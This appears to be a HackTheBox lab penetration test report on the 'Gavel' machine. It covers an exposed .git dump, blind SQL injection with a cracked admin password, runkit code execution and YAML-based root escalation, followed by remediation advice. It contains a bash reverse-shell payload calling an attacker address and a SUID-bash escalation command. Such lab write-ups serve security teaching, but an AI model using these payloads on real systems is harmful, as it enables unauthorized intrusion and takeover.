HACKTHEBOX

Penetration Test Report

Target: Gavel (10.129.4.66)

Candidate Name: Season of the Gacha Participant

Date: February 16, 2026

Version: 1.0

CONFIDENTIAL

Contents

1 Executive Summary

1.1 Assessment Overview

This report details the findings of a penetration test conducted against the ”Gavel” system (10.129.4.66) as part of the HackTheBox ”Season of the Gacha” event. The assessment aimed to identify vulnerabilities that could compromise the confidentiality, integrity, and availability of the system.

The assessment resulted in a complete compromise of the target system, escalating privileges from an unauthenticated network position to full administrative control (Root).

1.2 Key Findings

Three critical vulnerabilities were identified and exploited during this engagement:

1. **Source Code Disclosure:** An exposed ‘.git‘ directory allowed for the complete reconstruction of the web application source code.
2. **SQL Injection (SQLi):** The ‘inventory.php‘ endpoint failed to sanitize user input in the ‘sort‘ parameter, leading to the extraction of administrator credentials.
3. **Remote Code Execution (RCE):** The administrative panel utilized the unsafe `runkit_function_add()` function, allowing arbitrary PHP code execution.
4. **Privilege Escalation:** A custom root service processed YAML files insecurely, allowing for command injection and privilege escalation.

1.3 Recommendations

Immediate remediation is required. The `runkit` extension should be disabled, SQL queries must be parameterized, and the root service must enforce strict input validation or run with reduced privileges.

2 Network Penetration Test Assessment Summary

2.1 Scope

The scope of this assessment was limited to the single host:

- **Name:** Gavel
- **IP Address:** 10.129.4.66

2.2 Summary of Findings

Critical Findings Table

Finding	Severity	Status
Git Repository Exposure	Medium	Exploited
SQL Injection (Inventory Sort)	Critical	Exploited
Remote Code Execution (Admin Rules)	Critical	Exploited
Privilege Escalation (Insecure YAML)	Critical	Exploited

3 Detailed Walkthrough

3.1 Reconnaissance & Enumeration

The engagement began with a port scan revealing OpenSSH (Port 22) and Apache Web Server (Port 80).

```
$ nmap -p- -sC -sV 10.129.4.66
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.52
```

Directory fuzzing identified a critical information leak: an exposed '.git' directory. Using 'git-dumper', the source code was extracted for static analysis.

```
$ git-dumper http://gavel.htb/.git/ ./gavel-source
```

3.2 Web Exploitation (User Access)

Source code analysis of 'inventory.php' revealed a vulnerability in the 'sort' parameter. The input was directly concatenated into the SQL query without sanitization.

Exploitation Path:

1. **Injection:** A boolean-based blind SQL injection payload was crafted to bypass simple filters.
2. **Credential Extraction:** The payload extracted the password hash for the user 'auctioneer'.
3. **Cracking:** The hash was identified as bcrypt and cracked using John the Ripper ('rockyou.txt').
4. **Password:** `midnight1`

Using these credentials ('auctioneer:midnight1'), access to the Administrative Panel was obtained.

3.3 Remote Code Execution (Initial Foothold)

The Admin Panel contained a "Rules" feature. The backend code utilized `runkit_function_add()` to execute rules defined by the administrator. This function treats string input as executable PHP code.

Payload:

```
system('bash -c "bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"'); return true;
```

This payload was injected into an active auction rule. Upon the scheduled update of the auction item, the code executed, providing a reverse shell as 'www-data'.

3.4 Privilege Escalation (Root)

After stabilizing the shell, we pivoted to the 'auctioneer' user using the previously cracked password. Enumeration revealed a custom binary 'gavel-util' and a root service 'gaveld'.

The service processed YAML files submitted via 'gavel-util'. Two vulnerabilities were chained:

1. **Bypassing PHP Restrictions:** A malicious YAML file was submitted to overwrite `php.ini` using `file_put_contents`, disabling `open_basedir` and `disable_functions`.

2. **Command Injection:** A second YAML file was submitted containing a `system()` call to copy '/bin/bash' to a new location and set the SUID bit.

Final Exploit:

```
rule: "system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash');"
```

Executing '/opt/gavel/rootbash -p' granted root access.

4 Remediation Summary

4.1 Short Term Fixes

- **Disable .git Access:** Configure Apache to deny access to '.git' directories ('RedirectMatch 404 /.git').
- **Patch SQL Injection:** Use PDO Prepared Statements for all database queries in 'inventory.php', specifically regarding the 'ORDER BY' clause (use an allowlist).
- **Sanitize YAML Input:** Ensure the root daemon validates keys and values strictly before processing.

4.2 Long Term Fixes

- **Remove Runkit:** The architecture relying on `runkit_function_add` is inherently unsafe. Replace dynamic code execution with a logic-based rule engine.
- **Principle of Least Privilege:** Run the 'gaveld' service as a dedicated, low-privileged user, not root.
- **Hardening:** Set 'immutable' attributes on critical configuration files like `php.ini` to prevent overwrites by the web user.

5 Appendix

5.1 A.1 Host & Service Discovery

IP Address	Port	Service
10.129.4.66	22	SSH (OpenSSH 8.9p1)
10.129.4.66	80	HTTP (Apache 2.4.52)

5.2 A.2 Compromised Users

Username	Type	Compromise Method
auctioneer	Web Admin / System User	SQL Injection -> Password Reuse
www-data	Service Account	Remote Code Execution (Runkit)
root	System Administrator	Insecure File Handling / YAML Injection

5.3 A.3 Flags Discovered

Flag Type	Hash (Masked)
user.txt	`72fc75dc...`
root.txt	`153f183a...`